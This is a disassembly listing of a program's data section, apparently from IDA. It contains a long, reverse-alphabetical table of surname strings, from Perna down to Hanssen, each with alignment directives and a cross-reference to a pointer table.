aPerna		db 'Perna',0            ; DATA XREF: ___:0042E9C8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E9C4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E9C0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E9BCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E9B8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E9B4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E9B0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E9ACo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E9A8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E9A4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E9A0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E99Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E998o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E994o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E990o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E98Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E988o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E984o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E980o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E97Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E978o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E974o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E970o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E96Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E968o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E964o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E960o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E95Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E958o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E954o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E950o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E94Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E948o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E944o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E940o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E93Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E938o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E934o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E930o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E92Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E928o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E924o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E920o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E91Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E918o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E914o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E910o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E90Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E908o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E904o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E900o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8FCo
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8F8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8F4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8F0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8ECo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8E8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8E4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8E0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8DCo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8D8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E8D4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E8D0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E8CCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E8C8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E8C4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E8C0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E8BCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E8B8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E8B4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E8B0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E8ACo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E8A8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E8A4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E8A0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E89Co
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E898o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E894o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E890o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E88Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E888o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E884o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E880o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E87Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E878o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E874o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E870o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E86Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E868o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E864o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E860o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E85Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E858o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E854o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E850o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E84Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E848o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E844o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E840o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E83Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E838o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E834o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E830o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E82Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E828o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E824o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E820o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E81Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E818o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E814o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E810o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E80Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E808o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E804o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E800o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7F8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7F4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7F0o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7ECo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7E8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7E4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7E0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7DCo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7D8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E7D4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E7D0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E7CCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E7C8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E7C4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E7C0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E7BCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E7B8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E7B4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E7B0o
aMay		db 'May',0              ; DATA XREF: ___:0042E7ACo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E7A8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E7A4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E7A0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E79Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E798o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E794o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E790o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E78Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E788o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E784o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E780o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E77Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E778o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E774o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E770o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E76Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E768o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E764o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E760o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E75Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E758o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E754o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E750o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E74Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E748o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E744o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E740o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E73Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E738o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E734o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E730o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E72Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E728o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E724o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E720o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E71Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E718o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E714o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E710o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E70Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E708o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E704o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E700o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6FCo
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6F8o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6F4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6F0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6ECo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6E8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6E4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6E0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6DCo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6D8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E6D4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E6D0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E6CCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E6C8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E6C4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E6C0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E6BCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E6B8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E6B0o
aLine		db 'Line',0             ; DATA XREF: ___:0042E6ACo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E6A8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E6A4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E6A0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E69Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E698o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E694o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E690o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E68Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E688o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E684o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E680o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E67Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E678o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E674o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E670o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E66Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E668o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E664o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E660o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E65Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E658o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E654o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E650o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E64Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E648o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E644o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E640o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E63Co
aLa		db 'La',0               ; DATA XREF: ___:0042E638o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E634o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E630o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E62Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E628o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E624o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E620o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E61Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E618o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E614o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E610o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E60Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E608o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E604o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E600o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5FCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5F8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5F4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5F0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5ECo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5E8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5E4o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5E0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5DCo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5D8o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E5D4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E5D0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E5CCo
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E5C8o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E5C4o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E5C0o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E5BCo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E5B8o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E5B4o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E5B0o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E5ACo
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E5A8o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E5A4o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E5A0o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E59Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E598o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E594o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E590o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E58Co
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E588o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E584o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E580o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E57Co
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E578o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042E574o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E570o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E56Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E568o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E564o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E560o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E55Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E558o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E554o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E550o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E54Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E548o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E544o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E540o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E53Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E538o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E534o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E530o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E52Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E528o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E524o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E520o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E51Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E518o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E514o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E510o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E50Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E508o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E504o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E500o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4FCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4F8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4F4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4F0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4E8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4E0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4DCo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4D8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E4D4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E4D0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E4CCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E4C8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E4C4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E4C0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E4BCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E4B8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E4B4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E4B0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E4ACo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E4A8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E4A4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E4A0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E49Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E498o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E494o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E490o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E48Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E488o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E484o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E480o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E47Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E478o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E474o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E470o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E46Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E468o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E464o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E460o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E45Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E458o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E454o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E450o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042E44Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E448o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E444o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E440o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E43Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E438o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E434o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E430o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E42Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E428o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E424o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E420o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E41Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E418o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E414o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E410o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E40Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E408o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E404o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E400o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3FCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3F8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3F4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3F0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3ECo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3E8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3E4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3E0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3DCo
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3D8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E3D4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E3D0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E3CCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E3C8o
